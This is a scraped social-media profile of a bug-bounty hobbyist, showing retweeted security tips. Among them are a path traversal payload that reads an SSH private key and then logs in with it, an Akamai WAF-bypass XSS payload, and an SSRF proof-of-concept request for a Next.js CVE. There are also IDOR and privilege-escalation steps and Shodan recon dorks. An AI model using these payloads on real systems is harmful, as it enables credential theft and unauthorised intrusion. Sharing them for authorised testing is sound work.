Sloth 🥷🏼 @SlothT7

Hunting for bugs & exploring the depths of OSINT! Passionate about cybersecurity, finding vulnerabilities, and unraveling digital footprints. #BugBounty #OSINT Joined June 2023

Tweets

71
Followers

37
Following

206
Likes

62

Coffin @coffinxp7

a year ago

this latest xss extension is so cool :) github.com/elkokc/reflect…

9 101 574 59K 435

Download Image

H4x0r.DZ 🇰🇵 @h4x0r_dz

a year ago

Getting the maximum impact : read the SSH PRIVATE KEY: aCSHELL/../../../../../../../home/admin/.ssh/id_rsa connect to the server : ssh [email protected] -i id_rsa

H4x0r.DZ 🇰🇵 @h4x0r_dz

a year ago

Getting the maximum impact : read the SSH PRIVATE KEY: aCSHELL/../../../../../../../home/admin/.ssh/id_rsa connect to the server : ssh [email protected] -i id_rsa https://t.co/uc0HML5nrD

22 126 668 212K 289

Download Image

15 172 868 118K 517

Download Image

Recent Bug (Story time) 🐞 Discovered via "?continue=https://privatecompany" that redirects to app.privatecompany and sends the access_token to privatecompany/?access=token. 1/n #bugbounty #bugbountytip #bugbountytips

11 40 268 20K 198

FixitGearWare-Security @fixitgearware

a year ago

@intigriti Ok Let's learn something new today. while everyone talks about cache poisoning, xss, and any other vulnerability known, by almost everyone hunting. Let's exclude you from the rat-race hunting with a few tips. There is a massive clue given by this output, and what is that ? The…

1 2 14 1K 7

Siddhartha S @sidharthas8962

a year ago

Update: they replied, we use a third-party vendor for this msg'ing function so nothing we can do on our side. I agreed with them, because they cleared mention in their policy. by the away i have learned a new bug type. #BugBounty #Hackingtime

Siddhartha S @sidharthas8962

a year ago

6 10 78 8K 32

Download Image

0 1 22 2K 4

XSS Payloads @XssPayloads

a year ago

A payload to bypass Akamai WAF, by @jp_seg01 ?foobar=<foo%20bar=%250a%20onclick=<your js code> Works with any tag and any event handler

0 23 126 10K 80

0xRAYAN 🇸🇦 @0xRAYAN7

a year ago

shodan dorks for recon : 1. ssl.cert.subject.CN:"*.target.com" http.title:"index of/" 2. ssl.cert.subject.CN:"*.target.com" http.title:"gitlab" 3. ssl.cert.subject.CN:"*. target.com" http.title:"gitlab" 4. ssl.cert.subject.CN:"*.target.com" "230…

2 98 278 21K 339

H4x0r.DZ 🇰🇵 @h4x0r_dz

a year ago

CVE-2024-34351 : Server-Side Request Forgery on Next.js github.com/vercel/next.js… assetnote.io/resources/rese… POC: POST /x HTTP/2 Host: attacker*com Content-Length: 2 Next-Action: xxxx {} #BugBounty #BugBountytips

3 70 366 27K 189

Download Image

Will Gates @WllGates

a year ago

IDOR + ATO Account Takeover via Reset Password - a logged in area; - intercept password change request; - change username to another; - if u have successfully changed user pass, u have an IDOR + ATO; Impact: Critical credit @adrielsec #bugbounty #bugbountytips

0 13 65 3K 34

CyCatz @CyCatz_Official

a year ago

#CyCatz #cybersecurity IDOR via Business Logic Error More... shorturl.at/chtF4 #cyberawareness #cyberattack #breaches #SurfaceWebMonitoring #mobilesecurity #emailsecurity #vendorriskmanagement #BrandMonitoring #security #information #bugbounty #idor

0 5 24 1K 9

Download Image

Will Gates @WllGates

a year ago

Privilege Escalation 😈 PoC & Tips 😎: Owner invite attacker to the org 💌 Attacker save the request when they still in the org 💾 Owner kick the attacker 🦵 Attacker send the request that they saved before 📩 credit: @frozzipies #bugbounty #bugbountytips

0 5 29 2K 9

Download Image

Will Gates @WllGates

a year ago

Many people have often asked me how to search for "ivanti" for shodan 😊 you can search as title: "Ivanti Connect" hostname: "target.*" credit: @ynsmroztas #bugbountytip #bugbounty

1 37 198 10K 117

Download Image

Sloth 🥷🏼 @SlothT7

a year ago

yay started to try for my first bug tonight - it was a success (I think) Problem I have is idk how to word it to report it correctly. Is there anyone who can assist 🧑🏽‍💻 #BugBounty

0 0 1 41 0

N$ @nav1n0x

2 years ago

'All-In-One Regex' by @h4x0r_dz for searching leaked keys and secrets is a must-have. Here is how I was able to find a P1 recently using BurpSuite, The leaked secrets allowed me to see some employee related juicy info. Link: gist.github.com/h4x0r-dz/be69c… #BugBounty